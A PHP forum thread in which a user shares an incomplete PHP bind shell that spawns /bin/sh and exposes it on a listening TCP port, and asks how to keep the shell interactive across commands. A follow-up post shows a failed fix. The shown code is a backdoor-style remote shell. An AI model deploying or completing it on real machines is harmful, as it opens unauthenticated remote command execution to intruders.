Jump to content

Recommended Posts

Hi all. I ve been trying to make a CLI script in PHP to execute /bin/sh and create a pipe for stdin / stdout / stderr. It should work like this. You start the script, it executes /bin/sh and passes the streams to the process it opened. Moreover I would like it to listen for connections with sockets. I have the whole script half-done, here's the code and explanation:

#!/usr/bin/php -q
<?php
$address = "192.168.1.34";
$port = "8888";

$descriptorspec = array(
       0 => array("pipe", "r"), // stdin
       1 => array("pipe", "w"), // stdout
       2 => array("pipe", "w")  // stderr
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);

$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($mysock, $address, $port) or die("Can't bind to <$address:$port>\n");
socket_listen($mysock, 5);
$client = socket_accept($mysock);
socket_write($client, "-= PHP Bindshell =-\n");

while (is_resource($process)) {
$input = socket_read($client, 1024);
fwrite($pipes[0], "$input");
//fclose($pipes[0]);
$output = stream_get_contents($pipes[1]); 
socket_write($client, $output);
}
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);
socket_close($client); socket_close($mysock);
?>

It works as expected only if I uncomment the fclose(); but then I have the handle closed, so I can execute only 1 command. Is there a better way to do this.

PS: You may have noticed from the code that this tends to be a bindshell. I know that there are better languages for this purpose, I just want to know if this is possible with php.

Link to comment
https://forums.phpfreaks.com/topic/53623-execute-shell-interactive/
Share on other sites

Yea I tried that and it don't work.

<?php
...
while (is_resource($process)) {
$input = socket_read($client, 1024);
fwrite($pipes[0], $input); // input contains a newline
//	fclose($pipes[0]);
fflush($pipes[0]);
sleep(1);
$output = stream_get_contents($pipes[1]); 
socket_write($client, $output);
}
...
?>

I asked this on some other forums, but no one could give an exact answer. If anyone knows a better way to do this with php, please reply. Thank you.

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.